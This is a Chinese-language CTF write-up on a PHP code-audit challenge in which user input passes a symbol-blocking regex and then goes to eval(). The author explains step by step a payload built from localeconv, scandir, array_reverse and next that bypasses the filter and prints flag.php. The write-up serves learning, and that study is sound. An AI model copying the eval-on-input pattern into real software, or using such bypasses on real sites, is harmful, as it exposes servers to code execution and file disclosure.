1. 代码审计
      ``php <?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\|\@|#|\$|\%|\^|\&|*|\(|\)|-|\=|+|{|[|]|}|\:|\’|\”|\,|\<|.|>|\/|\?|\\/i”, $c)) //这里$,:,/…中文括号都进行了过滤 {
      1. eval($c);
      }

    }else{ highlightfile(_FILE); }

    
    2.  这里肯定不能用常用的方法了,基本都被过滤了,学习一下大佬们的姿势 
    ```php
    #payload:
    ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
    
    1. 先来学习下要用到的一些函数 ```php print_r() 函数用于打印变量,以更容易理解的形式展示

    localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)

    pos():返回数组中的当前元素的值。这里也可以换成current(),作用和pos类似

    array_reverse():数组逆序

    scandir():获取目录下的文件

    next(): 函数将内部指针指向数组中的下一个元素,并输出。 ```

    1. 通过 pos(localeconv())得到点号,因为scandir('.')表示得到当前目录下的文件
      image-20210704204231095.pngimage-20210704204311604.png
    2. 这里将当前目录读取到后,进行数组逆序array_reverse,要得到flag.php,需要用next将指针指向下一位,即flag.php
      image-20210704204631031.pngimage-20210704204720955.png
    3. show_source将代码显示出来
      image-20210704204839012.png